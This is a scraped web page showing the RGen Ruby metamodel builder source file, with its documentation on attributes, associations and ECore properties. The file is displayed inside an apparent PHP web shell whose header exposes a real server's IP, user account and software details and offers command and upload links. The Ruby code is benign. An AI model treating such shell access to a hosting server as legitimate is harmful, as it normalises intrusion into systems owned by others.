Server IP : 111.118.215.189 / Your IP : 3.14.251.87 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/ruby/vendor_ruby/puppet/vendor/rgen/lib/rgen/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
# RGen Framework # (c) Martin Thiede, 2006 require 'rgen/metamodel_builder/constant_order_helper' require 'rgen/metamodel_builder/builder_runtime' require 'rgen/metamodel_builder/builder_extensions' require 'rgen/metamodel_builder/module_extension' require 'rgen/metamodel_builder/data_types' require 'rgen/metamodel_builder/mm_multiple' require 'rgen/ecore/ecore_interface' module RGen # MetamodelBuilder can be used to create a metamodel, i.e. Ruby classes which # act as metamodel elements. # # To create a new metamodel element, create a Ruby class which inherits from # MetamodelBuilder::MMBase # # class Person < RGen::MetamodelBuilder::MMBase # end # # This way a couple of class methods are made available to the new class. # These methods can be used to: # * add attributes to the class # * add associations with other classes # # Here is an example: # # class Person < RGen::MetamodelBuilder::MMBase # has_attr 'name', String # has_attr 'age', Integer # end # # class House < RGen::MetamodelBuilder::MMBase # has_attr 'address' # String is default # end # # Person.many_to_many 'homes', House, 'inhabitants' # # See BuilderExtensions for details about the available class methods. # # =Attributes # # The example above creates two classes 'Person' and 'House'. Person has the attributes # 'name' and 'age', House has the attribute 'address'. The attributes can be # accessed on instances of the classes in the following way: # # p = Person.new # p.name = "MyName" # p.age = 22 # p.name # => "MyName" # p.age # => 22 # # Note that the class Person takes care of the type of its attributes. As # declared above, a 'name' can only be a String, an 'age' must be an Integer. # So the following would return an exception: # # p.name = :myName # => exception: can not put a Symbol where a String is expected # # If the type of an attribute should be left undefined, use Object as type. # # =Associations # # As well as attributes show up as instance methods, associations bring their own # accessor methods. For the Person-to-House association this would be: # # h1 = House.new # h1.address = "Street1" # h2 = House.new # h2.address = "Street2" # p.addHomes(h1) # p.addHomes(h2) # p.removeHomes(h1) # p.homes # => [ h2 ] # # The Person-to-House association is _bidirectional_. This means that with the # addition of a House to a Person, the Person is also added to the House. Thus: # # h1.inhabitants # => [] # h2.inhabitants # => [ p ] # # Note that the association is defined between two specific classes, instances of # different classes can not be added. Thus, the following would result in an # exception: # # p.addHomes(:justASymbol) # => exception: can not put a Symbol where a House is expected # # =ECore Metamodel description # # The class methods described above are used to create a Ruby representation of the metamodel # we have in mind in a very simple and easy way. We don't have to care about all the details # of a metamodel at this point (e.g. multiplicities, changeability, etc). # # At the same time however, an instance of the ECore metametamodel (i.e. a ECore based # description of our metamodel) is provided for all the Ruby classes and modules we create. # Since we did not provide the nitty-gritty details of the metamodel, defaults are used to # fully complete the ECore metamodel description. # # In order to access the ECore metamodel description, just call the +ecore+ method on a # Ruby class or module object belonging to your metamodel. # # Here is the example continued from above: # # Person.ecore.eAttributes.name # => ["name", "age"] # h2pRef = House.ecore.eReferences.first # h2pRef.eType # => Person # h2pRef.eOpposite.eType # => House # h2pRef.lowerBound # => 0 # h2pRef.upperBound # => -1 # h2pRef.many # => true # h2pRef.containment # => false # # Note that the use of array_extensions.rb is assumed here to make model navigation convenient. # # The following metamodel builder methods are supported, see individual method description # for details: # # Attributes: # * BuilderExtensions#has_attr # # Unidirectional references: # * BuilderExtensions#has_one # * BuilderExtensions#has_many # * BuilderExtensions#contains_one_uni # * BuilderExtensions#contains_many_uni # # Bidirectional references: # * BuilderExtensions#one_to_one # * BuilderExtensions#one_to_many # * BuilderExtensions#many_to_one # * BuilderExtensions#many_to_many # * BuilderExtensions#contains_one # * BuilderExtensions#contains_many # # Every builder command can optionally take a specification of further ECore properties. # Additional properties for Attributes and References are (with defaults in brackets): # * :ordered (true), # * :unique (true), # * :changeable (true), # * :volatile (false), # * :transient (false), # * :unsettable (false), # * :derived (false), # * :lowerBound (0), # * :resolveProxies (true) <i>references only</i>, # # Using these additional properties, the above example can be refined as follows: # # class Person < RGen::MetamodelBuilder::MMBase # has_attr 'name', String, :lowerBound => 1 # has_attr 'yearOfBirth', Integer, # has_attr 'age', Integer, :derived => true # def age_derived # Time.now.year - yearOfBirth # end # end # # Person.many_to_many 'homes', House, 'inhabitants', :upperBound => 5 # # Person.ecore.eReferences.find{|r| r.name == 'homes'}.upperBound # => 5 # # This way we state that there must be a name for each person, we introduce a new attribute # 'yearOfBirth' and make 'age' a derived attribute. We also say that a person can # have at most 5 houses in our metamodel. # # ==Derived attributes and references # # If the attribute 'derived' of an attribute or reference is set to true, a method +attributeName_derived+ # has to be provided. This method is called whenever the original attribute is accessed. The # original attribute can not be written if it is derived. # # module MetamodelBuilder # Use this class as a start for new metamodel elements (i.e. Ruby classes) # by inheriting for it. # # See MetamodelBuilder for an example. class MMBase include BuilderRuntime include DataTypes extend BuilderExtensions extend ModuleExtension extend RGen::ECore::ECoreInterface def initialize(arg=nil) raise StandardError.new("Class #{self.class} is abstract") if self.class._abstract_class arg.each_pair { |k,v| setGeneric(k, v) } if arg.is_a?(Hash) end # Object#inspect causes problems on most models def inspect self.class.name end def self.method_added(m) raise "Do not add methods to model classes directly, add them to the ClassModule instead" end end # Instances of MMGeneric can be used as values of any attribute are reference class MMGeneric # empty implementation so we don't have to check if a value is a MMGeneriv before setting the container def _set_container(container, containing_feature_name) end end # MMProxy objects can be used instead of real target elements in case references should be resolved later on class MMProxy < MMGeneric # The +targetIdentifer+ is an object identifying the element the proxy represents attr_accessor :targetIdentifier # +data+ is optional additional information to be associated with the proxy attr_accessor :data def initialize(ident=nil, data=nil) @targetIdentifier = ident @data = data end end end end